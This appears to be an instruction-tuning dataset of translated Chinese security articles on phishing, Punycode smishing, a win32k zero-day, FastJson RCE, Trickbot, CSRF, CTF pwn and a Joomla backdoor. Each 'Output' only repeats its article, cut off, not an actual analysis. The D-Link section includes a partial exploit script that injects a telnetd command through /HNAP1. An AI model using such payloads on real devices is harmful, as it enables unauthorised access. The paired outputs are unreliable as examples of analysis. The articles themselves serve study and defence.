Japan使用的身份验证协议。这些URL似乎没有将用户带到OpenID实现中，但是URL字符串中的参数看起来更合法。
我们确定了一些URL中的占位符值，这表明有些消息可能过早发送，或者相应的值不可用（图4）。
图4：带有BRECEIVER_ADDRESS和BRAND_TEXT变量的URL
他们在某些URL中使用了一个占位符电子邮件地址“a@b.c”（图5）。在观察到的其他URL中，收件人电子邮件地址用来填充此参数。
 图5：URL用a@b.c和OpenID路径代替变量
单击后，消息中的geofenced链接会将用户带到一个冒充的Amazon Japan登录页面（图6），如果用户看起来不在日本，则转到实际的Amazon
Japan登录页面。
 图6：欺骗的Amazon Japan登录页面
使用Amazon用户名和密码“登录”后，该用户将被带到一个表单，该表单收集各种PII，例如地址，生日和电话号码（图7）。
图7：网络钓鱼登陆页面，要求用户的国家，名称，生日，邮政编码，县（州），街道地址，商户名称（可选）和电话号码
该表单还收集信用卡号（通过在同一站点上托管的脚本进行松散地验证）和邮政编码（通过对第三方服务的API调用进行验证）（图8、9）。有趣的是，虽然我们提供的邮政编码不是合法的日语邮政编码，但是在提交信息时未返回任何错误。
图8：指示最初提供的信用卡号（长度错误的随机数字字符串）无效
图9：截取的流量说明了对“zipcloud.ibsnet[.]co.jp”的调用以进行邮政编码验证，以及对“/ap/actions/validate?cxdi=”的调用以进行信用卡号验证。
提交有效信息后，告知用户现在可以访问帐户，并重定向到amazon.co[.]jp的真实Amazon Japan网站。
 图10：提交后页面通知用户可以访问...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 用Punycode进行SMiShing(SMS网络钓鱼)
|
##### 译文声明
本文是翻译文章，文章来源：https://www.zscaler.com/
原文地址：<https://www.zscaler.com/blogs/research/smishing-punycode>
译文仅供参考，具体内容表达以及含义原文为准。
网络犯罪分子想出提出新的方法来窃取用户隐私数据并从中获利。由于移动设备的流行和其功能的强大，使之正成为各种网络攻击的目标，而此前这些攻击行为的对象仅限于计算机。
其中一种攻击技术就是SMS网络钓鱼——SMiShing，其通过短信来发送攻击。在SMiShing中，移动用户会在短信或聊天应用程序中接收到钓鱼网站的链接，攻击者会通过这些短信来引诱用户点击链接并输入其个人信息。
Zscaler
ThreatlabZ观察到很多这种SMiShing攻击都使用“Punycode”来使钓鱼网址看起来更像是一个合法的网站URL，这种技术被称为[同形异义词（Homograph）攻击](https://en.wikipedia.org/wiki/IDN_homograph_attack)，攻击者试图通过将URL中的一个或多个字符替换为其他字符脚本中类似外观的字符来达到欺骗用户的目的。
以下的是我们在过去三个月内观测到的在移动设备上用Punycode进行网络钓鱼活动的URL的点击率。
_图1. 从2018年3月1日到5月28日针对移动设备的SMiShing活动中的Punycode URL的点击率_
让我们来看看最近的一个示例，该示例显示了一个假装成Jet
Airways免费机票供给链接的WhatsApp消息。该链接的设计看起来像实际的jetairways.com网站，但它使用的是同形异义词攻击，其中使用了相似的字符来欺骗受害者。
_图2. 攻击示例_
如果仔细查看URL域名中的字符“i”，可以看到它是一个来自拉丁字符集的同形异义词。更确切地说，它是一个Unicode字符“Latin small
letter dotless I”（U + 0131），代替了“airways”中的字母“i”。
_图3. 对同形异义域标签进行解码后的结果_
如果用户在iPhone上点击了此链接，就会打开Safari
Web浏览器并尝试加载钓鱼网站。注意这个URL看起来很像jetairways.com，因此对于用户来说很难察觉它并不是真正的网站。
_图4. Safari浏览器打开钓鱼网站后的效果_
并非所有浏览器都平等对待IDN URL，在下面的图片中，我们看到Android手机上的Google Chrome向用户显示的Punycode格式的URL。
_图5. 安卓手机上的Google Chrome浏览器显示Punycode的URL，而不是IDN格式_
Web浏览器根据不同情况来决定显示IDN格式还是Punycode格式，例如URL中存在可能会欺骗分隔符的特定字符比如“.”或者“/”，则需要确定所有字符是否来自于同一种语言，是否属于允许的组合，或着直接检查该域名是否存在于白名单TLD之中。[这里](https://wiki.mozilla.org/IDN_Display_Algorithm#Algorithm)详细介绍了这个算法，谷歌浏览器也采用了一套类似的规则，其次是Mozilla
Firefox浏览器（详情见[这里](https://www.chromium.org/developers/design-documents/idn-in-google-chrome)）。浏览器可以根据分类的[限制级别](http://www.unicode.org/reports/tr39/#Restriction_Level_Detection)来进行抉择
。
以下是常见Web浏览器对IDN域标签的不同反应。
_图6. 常见Web浏览器对IDN域标签的不同反应_
回到我们之前的示例，如果我们在Domaintools上检查这个域名的域名历史记录，它会显示该域名是在前两周内新注册的。
_图7. 域名注册信息_
这次钓鱼攻击的完整生命周期展示在以下的截图中。
_图8. 网络钓鱼网页截图_
我们可以看到，在受到钓鱼页面的攻击后，受害者被重定向到了另一个域名：newuewfarben [.]
com，该域被用来为恶意软件提供服务。在测试时，并未发现这个URL的活动。
##
## 结论
SMiShing在2018年一直呈上升趋势，同形异义技术的加入也将使其对不知情的移动用户造成更大的危害。网页浏览器已经采取了对同形异义攻击的保护措施，但由于Punycode字符的合法性，开发人员想要设计一个万无一失的解决方案会非常困难，而攻击者则可以利用这一点来解决规则并创建同形异义文...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

本文翻译自：<https://securelist.com/cve-2018-8453-used-in-targeted-attacks/88151/>
* * *
10月9日，微软发布更新，修复了CVE-2018-8453漏洞。CVE-2018-8453是Kaspersky实验室8月份发现的win32k.sys中的安全漏洞。
2018年8月，Kaspersky实验室的Automatic Exploit
Prevention（AEP，自动化漏洞利用预防）系统检测到利用Windows操作系统漏洞的情况。研究人员分析发现了`win32k.sys`的0
day漏洞，即CVE-2018-8453。该利用执行的第一步是恶意软件下载器在受害者系统中获取足够的权限，以达到驻留的目的。利用的代码质量很高，可以在不同的Windows是版本上完成漏洞利用，包括windows
10 RS4。
最近，研究人员检测到利用这一漏洞的攻击数量还非常少，受害者主要位于中东地区。
# 技术细节
CVE-2018-8453是`win32kfull!xxxDestroyWindow`中的Use-After-Free漏洞，与CVE-2017-0263有点类似。为了对该漏洞进行分析，研究人员逆向了ITW的利用样本，并重写了POC。
漏洞利用是基于一系列的事件，从hook设置到3个用户模式回调函数，包括`fnDWORD, fnNCDESTROY,
fnINLPCREATESTRUCT`。漏洞利用通过替换`KernelCallbackTable`中的函数指针来安装hooks。
Kernel Callback表中的hook的函数
在`fnINLPCREATESTRUCT` hook中，漏洞利用通过分配位置来初始化`SysShadow`窗口：
fnINLPCREATESTRUCT初始化SysShadow的Usermode hook
在处理`WM_LBUTTONDOWN`消息时，`fnDWORD`
hook会执行`DestroyWindow`函数，并导致window被标记为free，随后由garbage collector释放。
漏洞就位于`fnNCDESTROY` hook中`DestroyWindow`函数执行的过程中。Hook会执行`NtUserSetWindowFNID
syscall`，其中修改Window`fnid`状态的逻辑是有缺陷的，因为没有检查`fnid`状态是否被设置为`FNID_FREED`。
NtUserSetWindowFNID中有漏洞的代码
window的`fnid`状态位于`tagWND`结构的`0x02a`处：
    kd> dt win32k!tagWND
    …
    +0x02a fnid : Uint2B
当scrollbar创建后，值就是`FNID_SCROLLBAR (0x029A)`。
下图是`fnid`在NtUserSetWindowFNID syscall`执行前后的值：
NtUserSetWindowFNID syscall执行前后Scrollbar fnid的值
然后可以通过验证[ReactOS的源码](https://doxygen.reactos.org/dd/d79/include_2ntuser_8h.html#a399ba6dbe78c18db70cf90865ee9e0af)来检查`fnid`的新值：
    /* FNIDs for NtUserSetWindowFNID, NtUserMessageCall */
    #define FNID_SCROLLBAR 0x029A
    …
    #define FNID_BUTTON 0x02A1
    …
    #define FNID_FREED 0x8000 /* Window being Freed… */
该动作会导致第一个scrollbar被破坏，而系统仍然含有到`SysShadow`类的引用，scrollbar`fnid`也不再标记为`FNID_FREED`，而是标记为`FNID_BUTTON`。
为了成功地收回释放的内存池，漏洞利用含有大量不同的feng
shui技术。Spray（喷射）的过程是根据利用的Windows版本来决定的，因为漏洞利用的目标是大量不同版本的操作系统，一共含有5个不同的函数：
漏洞利用支持的Heap spray（堆喷射）过程
在最新支持的版本Windows 10
RS4中，喷射技术相当复杂。Kernel是用不同大小的位图对象来喷射的。这需要耗尽内存分配器以最终绕过最新Windows版本中的`Low
Fragmentation Heap`安全措施。
Windows RS4 17134中的Heap Feng...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

## CVE-2019-7298
### 漏洞原理
D-Link DIR 823G
1.02B03及之前的版本中存在命令注入漏洞，攻击者可通过发送带有shell元字符的特制/HNAP1请求利用该漏洞执行任意的操作系统命令。在HNAP
API函数处理请求之前，system函数执行了不可信的命令，触发该漏洞。
### 漏洞分析
在每次内核启动之后将启动init进程，init进程的启动时根据/etc/inittab这个文件赖在不同运行级别启动相应的进程或执行相应的操作。其中sysinit代表系统的初始化，只有系统开机或重新启动的时候，后面对应的process才会执行一次。
    ::sysinit:/etc/init.d/rcS
在rcS中，先执行一些列mkdir和设置，执行了`goahead`。
> `goahead` 是一个开源的 `web` 服务器，用户的定制性非常强。可以通过一些 `goahead` 的 `api`定义 `url`处理函数和可供
> `asp` 文件中调用的函数，具体可以看看官方的代码示例和网上的一些教程。
goahead的websUrlHandlerDefine函数允许用户自定义不同url的处理函数：
    websUrlHandlerDefine(T("/HNAP1"), NULL, 0, websHNAPHandler, 0);
    websUrlHandlerDefine(T("/goform"), NULL, 0, websFormHandler, 0);
    websUrlHandlerDefine(T("/cgi-bin"), NULL, 0, websCgiHandler, 0);
以上代表/HNAP1的请求交给websHNAPHandler函数处理，/gofrom的请求交给websFormHandler函数处理，/cgi-bin的请求交websCgiHandler函数处理。这些处理函数有统一的参数：
    int (*fn)(webs_t wp, char_t *url, char_t *path, char_t *query)
    wp    Web server connection handle.
    url   Request URL.
    path  Request path portion of the URL.
    query Query string portion of the URL.
先了解/HNAP1请求的处理函数，在goahead中查找“HNAP1”字符串并通过xref定位处理函数sub_42383c
`sub_4238c`主要通过遍历全局的函数表来处理HNAP1接受的不同请求。function_list中每个元素的前四个字节为函数名，后四个字节为对应的函数地址。当找到在function_list中找到函数名与请求相同的字符串时，向/var/hnaplog中记录`param_7`的值，这个值但从汇编不太能看出，[hackedbylh](https://xz.aliyun.com/t/2834#toc-4)指出是post的报文，在运行过程中查看/var/hnaplog能猜出来。之后调用对应的函数地址处理相关请求。
这里无论处理请求的函数名是什么，在找到之后会通过snprintf输入字符且未做检查，之后直接system执行，存在命令注入漏洞。如果post请求是'`/bin/telnetd`'，就会先开启telnet服务器，再讲字符写入hnaplog。
另外需要注意，post的数据要加上引号，因为echo '%s' > /var/hnaplog中本身带了单引号，如果只是`/bin/telnet`，相当于
    echo '`/bin/telnet`' > /var/hnaplog
由于命令由引号括起，会当做字符串处理，不会执行命令
而
    echo ''`/bin/telnet`'' > /var/hnaplog
post中的两个引号分别与自带的两个引号组合，反引号没有嵌套在单引号中，会当做命令执行。
### 漏洞利用
    import requests
    from pwn import *
    IP='192.168.0.1'
    command ="'`/bin/telnetd`'"
    length = len(command)
    headers = requests.utils.default_headers()
    headers["Content-Length"]=str(length)
    headers["User-Agent"] = "Mozilla/5.0 (Windo...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# FastJson<=1.2.47RCE细枝末节详细分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
上篇文章学习了FastJson的第一版漏洞，曝出后官方立马做了更新，增加了checkAutoType()函数，并默认关闭autotype，在这之后一段时间内的绕过都与它有关。本文主要关于FastJson<=1.2.47的相关漏洞。
## 0x01 1.2.41-1.2.43的缠绵不休
这三个版本的修复可以说是非常偷懒了，所以才会连续因为一个原因曝出多个问题。
    //修复前：
    if (className.charAt(0) == '[') {
        Class<?> componentType = loadClass(className.substring(1), classLoader);
        return Array.newInstance(componentType, 0).getClass();
    }
    if (className.startsWith("L") && className.endsWith(";")) {
        String newClassName = className.substring(1, className.length() - 1);
        return loadClass(newClassName, classLoader);
    }
从1.2.41说起。在checkAutotype()函数中，会先检查传入的[@type](https://github.com/type
"@type")的值是否是在黑名单里，如果要反序列化的类不在黑名单中，那么才会对其进行反序列化。问题来了，在反序列化前，会经过loadClass()函数进行处理，其中一个处理方法是：在加载类的时候会去掉className前后的L和;。所以，如果我们传入Lcom.sun.rowset.JdbcRowSetImpl;，在经过黑白名单后，在加载类时会去掉前后的L和;，就变成了com.sun.rowset.JdbcRowSetImpl，反序列化了恶意类。
更新了1.2.42，方法是先判断反序列化目标类的类名前后是不是L和;，如果是，那么先去掉L和;，再进行黑白名单校验（偷懒qaq）。关于1.2.42绕过非常简单，只需要双写L和;，就可以在第一步去掉L和;后，与1.2.41相同。
更新也非常随意，在1.2.43中，黑白名单判断前，又增加了一个是否以LL开头的判断，如果以LL开头，那么就直接抛异常，非常随意解决了双写的问题。但是除了L和;，FastJson在加载类的时候，不只对L和;这样的类进行特殊处理，[也对特殊处理了，所以，同样的方式在前面添加[绕过了1.2.43及之前的补丁。
在1.2.44中，黑客们烦不烦，来了个狠的：只要你以[开头或者;结尾，我直接抛一个异常。如此，终于解决了缠绵多个版本的漏洞。
## 0x02 <=1.2.47的双键调用分析
###  漏洞原理
FastJson有一个全局缓存机制：在解析json数据前会先加载相关配置，调用addBaseClassMappings()和loadClass()函数将一些基础类和第三方库存放到mappings中（mappings是ConcurrentMap类，所以我们在一次连接中传入两个键值a和b，具体内容见下文）。
之后在解析时，如果没有开启autotype，会从mappings或deserializers.findClass()函数中获取反序列化的对应类，如果有，则直接返回绕过了黑名单。
本次要利用的是java.lang.Class类，其反序列化处理类MiscCodec类可以将任意类加载到mappings中，实现了目标。
###  环境搭建
环境：IDEA + JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
新建maven项目后添加1.2.47版本的fastjson，并创建fastjson1_2_47.java文件
    package person;
    import com.alibaba.fastjson.JSON;
    public class fastjson1_2_47 {
        public static void main(String[] argv){
            testJdbcRowSetImpl();
        }
        public static void testJdbcRowSetImpl(){
         ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

本文是翻译文章，原文链接为：<https://www.komodosec.com/post/an-accidental-ssrf-honeypot-in-google-calendar>
这是一个我和Google工程师都误以为是Google日历中的SSRF漏洞的故事，最后实际上是因为一些缓存机制的缘故。虽然结果不太好，但是我和Google安全团队的交流很好。
## 从URL导入日历
Google日历有很多不错的功能，其中有一个正如它名字一样，可以通过URL添加一个远程的日历。
Google服务器可以从远程日历上把事件添加到你自己的日历中。或者也可以说是我们使用了Google服务器的HTTP请求。所以访问外部URL是Google服务器的内部操作。但是我们说不定可以通过这个方法去访问一些内网资源（例如localhost）？或者说我们可以在这里发现一个SSRF漏洞。
## 第一次尝试——貌似安全
第一次测试并没有得到有趣的记过，因为当我们尝试去访问外部URL时，服务器报错了（不可达或错误格式等错误），当我们输入一个内部地址我们得到了同样的错误。ADDRESS:PORT既没有给我们一个真实的端点也没有给一个假的端点。
注意到这里curl就是POST参数（可能是calendar url的缩写），而不是一个curl工具。
## 犹豫不决，那就扫描！
只是为了确信我没有错过什么（可能没有127.0.0.1:443这个端点）。我决定针对localhost上的端口做一个快速的自动化扫描（使用Fiddler的组件发送序列包）。令我惊讶的是，当我使用自动化脚本的时候我发现一些不同的结果。突然，“不存在的”地址端口出现在了结果里。
这个结果告诉我们有些端口可能开着，有些端口可能关着。我调整了我的代理工具然后再Burp
Intruder里跑扫描（payload是端口，不同的结果长度意味着端口可能开着或关着）。这个结果和我想要的一样。
在图中可以看到很明显，80,443,22都开着（从内部服务器访问），其他的测试端口都关着。我快速对内网服务器（guts-remedy-linux-prod03.vm.corp.google.com）进行了一个再次扫描并如我所预料地一样发现22端口开着。
通过这个点我可以确信：
  1. 我通过Google服务器发送了内部的HTTP的GET请求，并且我可以做一个自动化脚本；
  2. 我可以接收到一些有用的信息（端口是否开着）。
或者换个说法，我在Google日历中发现了一个“盲SSRF”，是时候报告它。
## Google工程师复现发现一个bug
我和Google的团队的交流非常迅速。在验证这些问题时他们发现有点复杂，生成结果的时候所做的自动化扫描的时候不能太快（有限制因素在其中）。但是尽管如此，问题还是被复现了。但是一个新的问题被发现了。
所以Google的团队可以复现这个问题，但是他们因为UI的问题导致收到了不一样的结果。为了验证Google的理论，我创建了一个新的没有使用痕迹的Google日历账号并再次测试（没有UI干扰）。我发现结果和之前的一样。
这个点上Google的团队和我认为的一样并且开了一个新的bug。
## 产品团队发现问题和安全无关
做完这些研究后，Google的产品团队发现这个问题和安全无关。我所找到的打开的端口实际上是因为一个缓存机制没有按预想一样工作导致的。
报告被关闭了我收到了回复。
## 最后的思考
我非常尊重Google的团队，因为他们没有放弃这个，直到他们整理出来（缓存问题BTW已修复 - 同样的错误不再返回）。
不能说我没有失望地发现在旅程结束时，我的SSRF只不过是一个幽灵，但我当然很享受骑行。
我认为对我来说最重要的一点就是不要因最初失败的结果而气馁，因为有时候更深层次的潜水会带你进入复杂而迷人的道路。
这次它导致了一个行为不端的缓存，也许下次会导致一个RCE :)


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Trickbot的新把戏:密码窃取模块
|
##### 译文声明
本文是翻译文章，文章来源：trendmicro.com
原文地址：<https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/>
译文仅供参考，具体内容表达以及含义原文为准。
Trickbot作为一个简单的银行木马病毒，已经存在了很久。随着时间的发展，我们可以看到网络犯罪分子为这个恶意软件添加了不少新功能。去年三月，Tirckbot增加了一个可以规避检测和锁屏的功能。本月，我们发现Trickbot(由趋势科技检测为TSPY_TRICKBOT.THOIBEAI)拥有了一个密码窃取模块(pwgrab32)，该模块可以窃取多个应用程序和浏览器的访问权，例如
Microsoft Outlook, Filezilla, WinSCP, Google Chrome, Mozilla Firefox, Internet
Explorer, 还有Microsoft Edge。根据我们的监测显示，受这个Trickbot的新变种影响的用户主要来自美国，加拿大和菲律宾。
## 分析Trickbot的模块
恶意软件的作者一直在继续使用Trickbot的模块化结构—它能够自己从C&C服务器下载新模块并更新配置来使自己变成更加成熟。为了更好的了解这些威胁，我们需要分析Trickbot的不同模块，首先，我们从上个月发现的新模块pwgrab32开始。
###  pwgrab32模块
Trickbot的新模块，被称作pwgrab32或PasswordGrabber，能够窃取来自Filezilla, Microsoft
Outlook，和WinSCP等应用程序的证书。
除了从应用程序获取证书，它还可以从不少浏览器诸如Google Chrome, Mozilla Firefox, Internet Explorer,
和Microsoft Edge窃取以下信息:
  * 用户名和密码
  * Internet Cookies
  * 浏览器历史
  * 自动填充表单
  * HTTP Posts
需要注意的一点是，Trickbot不能从第三方密码管理应用从窃取密码。我们目前正在研究它能否从具有浏览器插件的密码管理软件中窃取密码。
###  shareDll32 模块
Trickbot使用shareDll32模块来帮助自己在网络中传播。他连接到C&C服务器http[:]//185[.]251[.]39[.]251/radiance[.]png来下载它自身的副本并将它保存为setuplog.tmp。
然后，shareDll32模块使用WNetEnumResource和GetComputerNameW枚举和标识在同一域上连接的系统。
然后将文件setuplog.tmp复制到已发现的计算机或系统的管理共享中。
为了让恶意软件在系统里更加根深蒂固，Trickbot还具有一个自启动服务，使得Trickbot能够在系统启动的同时运行。这项服务有以下的这些名字：
  * Service Techno
  * Service_Techno2
  * Technics-service2
  * Technoservices
  * Advanced-Technic-Service
  * ServiceTechno5
###  wormDll模块
wormDll32模块试图使用NetServerEnum和LDAP来查询识别网络中的服务器和域控制器。2017年，Flashpoint的安全研究人员首次发现了Trickbot的类蠕虫传播能力。
我们还发现是似乎有一个叫”pysmb”的SMB协议的实现，利用NT LM
0.12来查询老的Windows系统和系统IPC共享。需要注意的一点是米这个功能似乎还处于开发阶段。
###  networkDll32
Trickbot使用此加密模块扫描网络并窃取相关网络信息。它执行以下命令以收集有关受感染系统的信息：
###  Wormdll32模块
Wormdll32是Trickbot用于通过SMB和LDAP查询传播自身的加密模块。它与”wormDll”模块配合使用以达到在网络上传播的目的。
###  importDll32模块
该模块负责窃取浏览器数据，例如浏览历史记录，Cookie和插件等。
###  systeminfo32模块
一旦它被成功安装在系统中，Trickbot将收集系统信息，诸如操作系统，CPU和内存信息，用户帐号，已安装的程序和服务的列表等。
###  mailsearcher32模块
此模块会搜索受...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

## 前言
最近入坑了PHP代码审计，从网上下了几套CMS尝试着练习一下，不得不说现在还在更新的大多数CMS安全性还是不错的，动不动就是源代码加密，配置360、阿里云的过滤文件。。。还好折腾了一段时间后在一个CMS中发现了CSRF漏洞，也算是对这一阵子的学习有一个交代。
## 场景复现
后台页面
我们看一下添加系统用户的后台处理代码
    public function addUser() {
            if (IS_POST) {
                //用户组
                $group_id   = I('group_id', array());
                $department = I('department', array());
                if (empty($department)) {
                    $this->error('请选择部门');
                }
                if (empty($group_id)) {
                    $this->error('请选择职位');
                }
                //M验证
                $validate = array(
                    array('username', 'require', '用户名不能为空！'),
                    array('password', 'require', '密码不能为空！'),
                    array('password', '5,20', '密码必须在5到20位之间', 0, 'length'),
                    array('username', '', '用户名已经存在！', 0, 'unique', 1),
                );
                $data = M('Admin');
                if (!$data->validate($validate)->create()) {
                    $this->error($data->getError());
                }
                $password         = get_password($data->password);
                $data->password   = $password['password'];
                $data->encrypt    = $password['encrypt'];
                $data->status     = I('status', 0, 'intval');
                $data->department = implode(',', $department);
                $data->login_time = date('Y-m-d H:i:s');
                $data->login_ip   = '';
                if ($id = $data->add()) {
                    $group_data = array();
                    foreach ($group_id as $key => $val) {
                        $group_data[] = array('uid' => $id, 'group_id' => $val);
                    }
                    $result = M('AuthGroupAccess')->addAll($group_data);
                    if ($result) {
                        $this->success('添加成功', U('indexOfUser'));
                    } else {
                        $this->error('权限设置失败|用户添加成功');
             ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 35C3 Junior pwn笔记（上）

##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在被期末预习虐得半死的时候看到35c3的消息就去稍微看看题，结果又被非libc虐哭，在被虐哭后看到还有Junior赛就过去把Junior的pwn题悄咪咪的写了几题,但在做这些题到后面时还是会卡住，所以在这紧张刺激的期末考结束后写一点笔记来记录和复习下，这里先记录下libc非2.27的题目
## 1996
惯例先checksec文件
    ➜  1996 checksec 1996
    [*] '/home/Ep3ius/CTF/pwn/process/35c3CTF2018/Junior/1996/1996'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)
因为最近在练看汇编题目稍微看了下程序逻辑也不难所以就直接就看汇编分析了
    Dump of assembler code for function main:
       0x00000000004008cd <+0>:    push   rbp
       0x00000000004008ce <+1>:    mov    rbp,rsp
       0x00000000004008d1 <+4>:    push   rbx
       0x00000000004008d2 <+5>:    sub    rsp,0x408
       0x00000000004008d9 <+12>:    lea    rsi,[rip+0x188]        # 0x400a68
       0x00000000004008e0 <+19>:    lea    rdi,[rip+0x200779]        # 0x601060 <std::cout@@GLIBCXX_3.4>
       0x00000000004008e7 <+26>:    call   0x400760 <std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)@plt>
       0x00000000004008ec <+31>:    lea    rax,[rbp-0x410]
       0x00000000004008f3 <+38>:    mov    rsi,rax
       0x00000000004008f6 <+41>:    lea    rdi,[rip+0x200883]        # 0x601180 <std::cin@@GLIBCXX_3.4>
       0x00000000004008fd <+48>:    call   0x400740 <std::basic_istream<char, std::char_traits<char> >& std::operator>><char, std::char_traits<char> >(std::basic_istream<char, std::char_traits<char> >&, char*)@plt>
       0x0000000000400902 <+53>:    lea    rax,[rbp-0x410]
       0x0000000000400909 <+60>:    mov    rsi,rax
       0x000000000040090c <+63>:    lea    rdi,[rip+0x20074d]        # 0x601060 <std::cout@@GLIBCXX_3.4>
       0x0000000000400913 <+70>:    call   0x400760 <std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_tra...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

原文链接：https://www.brokenbrowser.com/abusing-of-protocols/
原作者： **Manuel Caballero**
译： **Holic (知道创宇404安全实验室)**
在 10 月 25 日，研究员 [@MSEdgeDev](https://twitter.com/MSEdgeDev) twitter
了一个[链接](https://twitter.com/MSEdgeDev/status/790980669820145665)，成功引起了我的注意，因为我点击那个链接的时候（在
Chrome 上），Windows 应用商店会自动打开。这对你来说也许不足为奇，但它足以让我感到惊讶。
在我的印象中，Chrome 有这样一个健康的习惯，在打开外部程序之前询问用户是否打开外部程序。但是这次的情况是它直接打开了相应程序，而且没有弹出警告。
这次的差别情况反应引起了我的注意，因为我从来没有允许 Chrome 打开 Windows 商店。有一些插件和协议会自动打开，但我从来没有允许过
Windows 商店这一应用。
Twitter 的短链接重定向至 https://aka.ms/extensions-storecollection ，然后再一次重定向到：`ms-windows-store://collection/?CollectionId=edgeExtensions` ，Interesting ~.
关于这一协议我不甚了解，因此我马上试着找到与该协议存在多处关联的地方：注册表。搜索 “ms-windows-store” 立即返回了我们在
PackageId 中的字符串，这似乎是 Windows 应用商店的程序。
注意我们也在一个名为 “Windows.Protocol”
的键之中，我稍微上下滚动了一些，以便看看有没有其他的应用程序在其中。然后我发现他们很多拥有自己的注册协议。这便是极好的，因为这直接从浏览器打开了一个新的攻击面。然后我们按
F3 看看是否找到了其他的匹配项。
似乎 ms-windows-store：协议也接受搜索参数，所以我们可以试着直接从 Google Chrome 打开我们的自定义搜索。事实上，Windows
应用商店应用程序好像使用了 Edge 的引擎渲染 HTML，这也是很有趣的地方，因为我们可能尝试进行 XSS
攻击，亦或是针对本地程序，发送一大堆数据然后看看会发生什么。
但是现在我们不会这么干，我们回到注册表上来，按下 F3 看看能找到什么。
这也是很有意思的，因为如果它们用字符串 “URL:”前缀的话，它会给我们快速找到更多的协议的线索。让我们将搜索重置为 “URL:”，看看我们得到什么。按下
[HOME] 键回到注册表的顶部，搜索 “URL:” ，将马上返回第一个匹配的 “URL： **about:blank**
”，以及各位顺便确认下我们有没有疯掉。
再次按下 F3 ，我们找到了 `bingnews:` 协议，但是这次 Chrome 向我们确认了是否要打开它。没毛病，让我们在 Edge
上试试看会发生什么。它打开了！在注册表中下一个匹配的的是 `calculator:` 协议。这会生效吗？
Wow！exploit 的作者们肯定好气啊。它们将弹出什么程序呢？[calc](calculator:) 和
[notepad](https://www.cracking.com.ar/demos/edgedefaultapp/)
可以打开，而且没有产生内存损坏。现在 cmd.exe 已经弃用，而是采用了 powershell。微软毁了你们这群人的乐趣 ? 。
这便是枚举所有可能被加载的协议的时候了，先去看看哪些程序接受参数，那么我们可以尝试注入代码（二进制或者纯
Javascript，取决于应用程序的编码方式和他如何处理参数）。有很多有趣的玩法，如果我们继续寻找协议，我们将发现大量的能打开的程序（包括 Candy
Crush，我还不知道我电脑上有这东西）。
通过按这几次 F3 ，我受益匪浅。例如，有一个 `microsoft-edge:`协议在新标签中加载 URL。这看起来似乎并不重要，直到我们想起 HTML
页面应有的限制。弹出窗口拦截器会阻止我们打开 20 个 `microsoft-edge:http://www.google.com` 标签吗？
#### [ [PoC – 在微软 Edge
浏览器上弹窗](http://unsafe.cracking.com.ar/demos/edgeprotocols/popups.html) ]
那么 HTML5 沙箱又怎样呢？如果你不熟悉它，它只是一种使用 iframe 沙箱属性或者 http header
的沙箱属...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 隐藏在joomla核心文件database.php 中的preg_replace /e 后门
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://blog.sucuri.net/2016/05/unexpected-backdoor-fake-core-files.html>
译文仅供参考，具体内容表达以及含义原文为准。
我们通常会在Sucuri
Labs或是在博客上写下很多模糊处理方法。有时候也会写一些免费的工具来处理并不免费的代码,我们还有一个在线工具用来帮助用户解码恶意软件。但有些时候我们不清楚恶意软件到底是使用base64、gzinflate、十六进制编码字符串、字符串旋转还是其他常见功能进行加密的。就像是我们今天将会介绍的案例,利用隐藏在joomla核心文件中的后门管理数据库输入。
我们的工具触发了客户端的一个站点结构异常: /includes/joomla/database/database.php ,其中包含了一个转换成
preg_replace的十六进制编码字符串。
这为什么会是反常现象呢?让我来解释一下:
· /includes/joomla/database/database.php 并不是Joomla 2.5.8
的一部分(这是在客户端站点运行的一个过时版本)。
· Joomla核心文件不使用这种编码方法。
如果这是一个由客户端创建来管理Joomla数据库的有效文件,那又是什么样子的呢?这种情况是可能的,我见过太多的CMS核心文件由于客户需求遭到修改,所以最好的办法就是首先核查一下。
前几行和常见的Joomla核心文件没有差别。精彩的评论,getlnstance函数等等。但是之后就有些怪异了。所有的变量都被过度缩进来存储其他变量,这是一种函数吗?这时候就发现问题了。
功能形式
上下查找之后我发现了一些其他函数、变量、十六进制编码字符串和一个非常奇怪的串联:
我想到的第一件事就是检查它的输出。可能恶意软件就以某种形式藏在那里,基于变量内容,它会存储数据库内容。但是……
串联在一起只是为了转移注意力,目的是不想让分析师继续深究其中内涵。但是现在还不是时候,除了研究这份疯狂的db代码之外,我还有更重要的事情要做。也许之后我会再回头研究这份代码,这要看它是否还会被用在其他地方。所以现在先留着它然后继续探究吧。
深入调查之后,我发现了这个:
最后进行Deobfuscated病毒扫描
我们看到 $new_stats 由存储在另一变量的函数命名。这样好理解吗?让我们换一种方法来解释:
首先我们看到了一个新的变量:$_state。我将它从另一部分代码中移除,这样可以更清楚地看到到底发生了什么。
还记得我说过的常用于模糊处理恶意软件的各种函数吗?是的,这个恶意软件编写者几乎在每一行代码中都使用了那些函数!
这些代码可以获取HTTP_SCHEME
服务器变量内容并且稍作处理,以备后用。这个服务器未在默认情况下登陆,或者使用了模板并且存储空间巨大,又或者是只保存最近登录记录。
下一步,获取 $_validate 创建的数组,并且使用strtr函数进行 $new_stats 转换。因为我们没有通过
HTTP_SCHEME发送的数组,所以我们也很难说,到底 $new_stats 内容就是之后在preg_replace
